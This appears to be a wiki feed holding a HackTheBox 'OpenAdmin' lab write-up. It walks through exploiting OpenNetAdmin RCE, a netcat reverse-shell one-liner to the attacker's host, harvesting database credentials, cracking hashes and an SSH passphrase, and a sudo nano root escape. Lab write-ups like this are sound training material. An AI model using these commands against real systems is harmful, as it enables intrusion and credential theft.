<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FOpenAdmin</id>
	<title>Write-ups/HTB/OpenAdmin - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FOpenAdmin"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/OpenAdmin&amp;action=history"/>
	<updated>2026-04-21T14:46:46Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/OpenAdmin&amp;diff=1187&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 20:38, 6 February 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/OpenAdmin&amp;diff=1187&amp;oldid=prev"/>
		<updated>2022-02-06T20:38:48Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = OpenAdmin&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = OpenNetAdmin RCE&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This Linux machine was very cluttered and I had to keep my notes really organized not to get lost. Getting initial shell was very straight forward with RCE in OpenNt. After getting shell as &amp;#039;&amp;#039;&amp;#039;www-data &amp;#039;&amp;#039;&amp;#039;I found DB credentials that happened to be the same passoword as &amp;#039;&amp;#039;&amp;#039;Jimmy&amp;#039;s&amp;#039;&amp;#039;&amp;#039;.  There were also a hash in the &amp;#039;&amp;#039;&amp;#039;index.php&amp;#039;&amp;#039;&amp;#039; which we cracked. Looking at internal open ports and in the &amp;#039;&amp;#039;&amp;#039;sites-enabled&amp;#039;&amp;#039;&amp;#039; in apache, there was a port that we forwarded using &amp;#039;&amp;#039;&amp;#039;ssh &amp;#039;&amp;#039;&amp;#039;and login page. Since we had the username and password we logged in and got private ssh key. Cracking the ssh passphrase gave us access to &amp;#039;&amp;#039;&amp;#039;Joannas&amp;#039;&amp;#039;&amp;#039; user. Joannas user could open a file with &amp;#039;&amp;#039;&amp;#039;nano&amp;#039;&amp;#039;&amp;#039; as sudo. Using GTFObins there was a way to get a root shell from nano.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with a NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/openadmin]&lt;br /&gt;
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.171 -oN nmap.ver&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-27 13:55 EST&lt;br /&gt;
Nmap scan report for 10.10.10.171&lt;br /&gt;
Host is up (0.035s latency).&lt;br /&gt;
Not shown: 65533 closed tcp ports (reset)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)&lt;br /&gt;
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)&lt;br /&gt;
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)&lt;br /&gt;
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))&lt;br /&gt;
|_http-title: Apache2 Ubuntu Default Page: It works&lt;br /&gt;
|_http-server-header: Apache/2.4.29 (Ubuntu)&lt;br /&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Looking at the webpage we are presented with opennetadmin. We can see that it is running version &amp;#039;&amp;#039;&amp;#039;18.1.1&amp;#039;&amp;#039;&amp;#039; which is not the latest version.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220127200834.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using searchsploit we can see that opennetadmin v18.1.1 is vulnerable to RCE.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim]&lt;br /&gt;
└─# searchsploit opennetadmin&lt;br /&gt;
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------&lt;br /&gt;
 Exploit Title                                                                                                                                                                                            |  Path&lt;br /&gt;
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------&lt;br /&gt;
OpenNetAdmin 13.03.01 - Remote Code Execution                                                                                                                                                             | php/webapps/26682.txt&lt;br /&gt;
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)                                                                                                                                              | php/webapps/47772.rb&lt;br /&gt;
OpenNetAdmin 18.1.1 - Remote Code Execution                                                                                                                                                               | php/webapps/47691.sh&lt;br /&gt;
----------------------------------------------&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This exploit works by injecting some PHP code into the /var/log/ona.log file via the module description parameter. Everytime a module is added to OpenNetAdmin the description/name/etc are all logged into this log file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[https://www.exploit-db.com/exploits/26682 https://www.exploit-db.com/exploits/26682]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Initial Access - Shell as www-data ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
First running the script ona-rce.py with &amp;#039;&amp;#039;&amp;#039;check&amp;#039;&amp;#039;&amp;#039; flag, it confirmed that the host is vulnerable. After that I used the &amp;#039;&amp;#039;&amp;#039;exploit &amp;#039;&amp;#039;&amp;#039;flag to run the exploit and get a shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/openadmin/ona-rce]&lt;br /&gt;
└─# python3 ona-rce.py check http://10.10.10.171/ona                                                                                                                                                                                    1 ⨯&lt;br /&gt;
[*] OpenNetAdmin 18.1.1 - Remote Code Execution&lt;br /&gt;
[+] Connecting !&lt;br /&gt;
[+] The remote host is vulnerable!&lt;br /&gt;
&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/openadmin/ona-rce]&lt;br /&gt;
└─# python3 ona-rce.py exploit http://10.10.10.171/ona&lt;br /&gt;
[*] OpenNetAdmin 18.1.1 - Remote Code Execution&lt;br /&gt;
[+] Connecting !&lt;br /&gt;
[+] Connected Successfully!&lt;br /&gt;
sh$ whoami&lt;br /&gt;
www-data&lt;br /&gt;
sh$&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I could not change dir in this shell. I was &amp;quot;stuck&amp;quot; in &amp;#039;&amp;#039;&amp;#039;/opt/ona/www&amp;#039;&amp;#039;&amp;#039;. To get another more interactive shell, I spawned another shell using this command. I started a listener to catch the connection.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sh$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.14.17 4444 &amp;gt;/tmp/f&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/HTB/openadmin/ona-rce]&lt;br /&gt;
└─# nc -lvnp 4444&lt;br /&gt;
listening on [any] 4444 ...&lt;br /&gt;
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.171] 57068&lt;br /&gt;
/bin/sh: 0: can&amp;#039;t access tty; job control turned off&lt;br /&gt;
$ id&lt;br /&gt;
uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;br /&gt;
$ python3 -c &amp;#039;import pty;pty.spawn(&amp;quot;/bin/bash&amp;quot;)&amp;#039;&lt;br /&gt;
www-data@openadmin:/opt/ona/www$ cd ..&lt;br /&gt;
cd ..&lt;br /&gt;
www-data@openadmin:/opt/ona$&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Let&amp;#039;s take a look around the system to make a plan for what to do next. In /etc/passwd there were a couple of urser; &amp;#039;&amp;#039;&amp;#039;Jimmy &amp;#039;&amp;#039;&amp;#039;and &amp;#039;&amp;#039;&amp;#039;Joanna. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
www-data@openadmin:/opt/ona$ cat /etc/passwd | cut -d &amp;quot;:&amp;quot; -f1&lt;br /&gt;
root&lt;br /&gt;
daemon&lt;br /&gt;
bin&lt;br /&gt;
sys&lt;br /&gt;
sync&lt;br /&gt;
games&lt;br /&gt;
man&lt;br /&gt;
lp&lt;br /&gt;
mail&lt;br /&gt;
news&lt;br /&gt;
uucp&lt;br /&gt;
proxy&lt;br /&gt;
www-data&lt;br /&gt;
backup&lt;br /&gt;
list&lt;br /&gt;
irc&lt;br /&gt;
gnats&lt;br /&gt;
nobody&lt;br /&gt;
systemd-network&lt;br /&gt;
systemd-resolve&lt;br /&gt;
syslog&lt;br /&gt;
messagebus&lt;br /&gt;
_apt&lt;br /&gt;
lxd&lt;br /&gt;
uuidd&lt;br /&gt;
dnsmasq&lt;br /&gt;
landscape&lt;br /&gt;
pollinate&lt;br /&gt;
sshd&lt;br /&gt;
jimmy&lt;br /&gt;
mysql&lt;br /&gt;
joanna&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since there is a database running on this machine, I&amp;#039;ll look for the db credentials. They are usually in the &amp;#039;&amp;#039;&amp;#039;www &amp;#039;&amp;#039;&amp;#039;dir.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
www-data@openadmin:/var/www/html/ona/local/config$ cat database_settings.inc.php&lt;br /&gt;
&lt;br /&gt;
  array (&lt;br /&gt;
    &amp;#039;databases&amp;#039; =&amp;gt;&lt;br /&gt;
    array (&lt;br /&gt;
      0 =&amp;gt;&lt;br /&gt;
      array (&lt;br /&gt;
        &amp;#039;db_type&amp;#039; =&amp;gt; &amp;#039;mysqli&amp;#039;,&lt;br /&gt;
        &amp;#039;db_host&amp;#039; =&amp;gt; &amp;#039;localhost&amp;#039;,&lt;br /&gt;
        &amp;#039;db_login&amp;#039; =&amp;gt; &amp;#039;ona_sys&amp;#039;,&lt;br /&gt;
        &amp;#039;db_passwd&amp;#039; =&amp;gt; &amp;#039;n1nj4W4rri0R!&amp;#039;,&lt;br /&gt;
        &amp;#039;db_database&amp;#039; =&amp;gt; &amp;#039;ona_default&amp;#039;,&lt;br /&gt;
        &amp;#039;db_debug&amp;#039; =&amp;gt; false,&lt;br /&gt;
      ),&lt;br /&gt;
    ),&lt;br /&gt;
    &amp;#039;description&amp;#039; =&amp;gt; &amp;#039;Default data context&amp;#039;,&lt;br /&gt;
    &amp;#039;context_color&amp;#039; =&amp;gt; &amp;#039;#D3DBFF&amp;#039;,&lt;br /&gt;
  ),&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So now I have my first credentials. Taking a look in the DB I found the username and password for &amp;#039;&amp;#039;&amp;#039;admin&amp;#039;&amp;#039;&amp;#039; which was just admin. This gave me admin rights on the OpenNetAdmin. Not very usuful at the moment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Since the sysadmins on this machine was not very security aware, they used the same password for &amp;#039;&amp;#039;&amp;#039;ona_sys&amp;#039;&amp;#039;&amp;#039; and &amp;#039;&amp;#039;&amp;#039;Jimmy. &amp;#039;&amp;#039;&amp;#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Shell as Jimmy ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
No that I have logged in as Jimmy, I could look in the &amp;#039;&amp;#039;&amp;#039;/internal&amp;#039;&amp;#039;&amp;#039; folder in www. Earlier I found a folder that I didnt have access to. In there I found a hash, which I cracked using &amp;#039;&amp;#039;&amp;#039;john the ripper&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
if (isset($_POST[&amp;#039;login&amp;#039;]) &amp;amp;&amp;amp; !empty($_POST[&amp;#039;username&amp;#039;]) &amp;amp;&amp;amp; !empty($_POST[&amp;#039;password&amp;#039;])) {&lt;br /&gt;
              if ($_POST[&amp;#039;username&amp;#039;] == &amp;#039;jimmy&amp;#039; &amp;amp;&amp;amp; hash(&amp;#039;sha512&amp;#039;,$_POST[&amp;#039;password&amp;#039;]) == &amp;#039;00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1&amp;#039;) {&lt;br /&gt;
                  $_SESSION[&amp;#039;username&amp;#039;] = &amp;#039;jimmy&amp;#039;;&lt;br /&gt;
                  header(&amp;quot;Location: /main.php&amp;quot;);&lt;br /&gt;
              } else {&lt;br /&gt;
                  $msg = &amp;#039;Wrong username or password.&amp;#039;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1:Revealed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Further enumeraiton on the system, I found a port that was only accessable from localhost. In the &amp;#039;&amp;#039;&amp;#039;sites-enabled&amp;#039;&amp;#039;&amp;#039; in apache I saw that i was pointing to &amp;#039;&amp;#039;&amp;#039;internal.openadmin.htb. &amp;#039;&amp;#039;&amp;#039;So I port forwarded using SSH.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220127212135.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And taking a look at the website.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220127212153.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To login I used &amp;#039;&amp;#039;&amp;#039;Jimmy&amp;#039;&amp;#039;&amp;#039; as username and &amp;#039;&amp;#039;&amp;#039;Revealed&amp;#039;&amp;#039;&amp;#039; as password. This was the password we cracked from the internal directory.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Shell as Joanna ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Logging in I saw that there was a ssh private key. I assumed that this must be Joannas private. Saving the key in &amp;#039;&amp;#039;&amp;#039;id_rsa&amp;#039;&amp;#039;&amp;#039; file and giving it permission 600, I tried logging in using &amp;#039;&amp;#039;&amp;#039;ssh -i id_rsa joanna@10.10.10.171. &amp;#039;&amp;#039;&amp;#039;It didnt work since it requried a passphrase.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Using Jonh the rippers &amp;#039;&amp;#039;&amp;#039;ssh2john2&amp;#039;&amp;#039;&amp;#039; I cracked the passphrase.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[~/.ssh]&lt;br /&gt;
└─# /usr/share/john/ssh2john.py id_rsa &amp;gt; jonh.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[~/.ssh]&lt;br /&gt;
└─# john jonh.txt --wordlist=/usr/share/wordlists/rockyou.txt                                                                                                                            1 ⨯&lt;br /&gt;
Using default input encoding: UTF-8&lt;br /&gt;
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])&lt;br /&gt;
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes&lt;br /&gt;
Cost 2 (iteration count) is 1 for all loaded hashes&lt;br /&gt;
Will run 2 OpenMP threads&lt;br /&gt;
Press &amp;#039;q&amp;#039; or Ctrl-C to abort, almost any other key for status&lt;br /&gt;
bloodninjas      (id_rsa)&lt;br /&gt;
1g 0:00:00:03 DONE (2022-01-27 15:29) 0.3333g/s 3191Kp/s 3191Kc/s 3191KC/s bloodninjas..bloodmore23&lt;br /&gt;
Use the &amp;quot;--show&amp;quot; option to display all of the cracked passwords reliably&lt;br /&gt;
Session completed.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Passhrase is &amp;#039;&amp;#039;&amp;#039;bloodninjas&amp;#039;&amp;#039;&amp;#039;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
No I can SSH into Joannas user.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220127213230.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Running &amp;#039;&amp;#039;&amp;#039;sudo -l &amp;#039;&amp;#039;&amp;#039; as Joannas user we can see that she can open &amp;#039;&amp;#039;&amp;#039;/opt/priv &amp;#039;&amp;#039;&amp;#039;using &amp;#039;&amp;#039;&amp;#039;nano &amp;#039;&amp;#039;&amp;#039;as root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
joanna@openadmin:/$ sudo -l&lt;br /&gt;
Matching Defaults entries for joanna on openadmin:&lt;br /&gt;
    env_keep+=&amp;quot;LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET&amp;quot;, env_keep+=&amp;quot;XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH&amp;quot;,&lt;br /&gt;
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass&lt;br /&gt;
&lt;br /&gt;
User joanna may run the following commands on openadmin:&lt;br /&gt;
    (ALL) NOPASSWD: /bin/nano /opt/priv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the GTFObins we can see that there is a way to get a root shell abusing the fact that we can run nano as root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
So let&amp;#039;s try that.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo naon /opt/priv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220127213835.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And lets press &amp;#039;&amp;#039;&amp;#039;CTRL + R&amp;#039;&amp;#039;&amp;#039; for read file.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220127213903.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and press &amp;#039;&amp;#039;&amp;#039;CTRL + X &amp;#039;&amp;#039;&amp;#039;to execute a command.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220127213925.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And finally, lets type in &amp;#039;&amp;#039;&amp;#039;reset; sh 1&amp;gt;&amp;amp;0 2&amp;gt;&amp;amp;0&amp;#039;&amp;#039;&amp;#039; to spawn a shell as root.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-02-Pasted-image-20220127213953.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Using outdated software is a huge security risk. Since the sysadmins didnt update the software I was able to get a reverse shell. * Using the same passwords for different users is a huge no-no since once one credential is compromised, attackers get a way to take over other accounts. Also locking down config files where password in cleartext is stored is also important.* Posting private SSH keys anywhere without proper secruity could also result in compromising accounts and system. In this case, the SSH key was posted on a internal website. And once we got access to the website we also got access to the user. Even though the used a passphrase for the SSH to protect the key, the password the used was weak and easilly crackable. Choose a better password. *&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>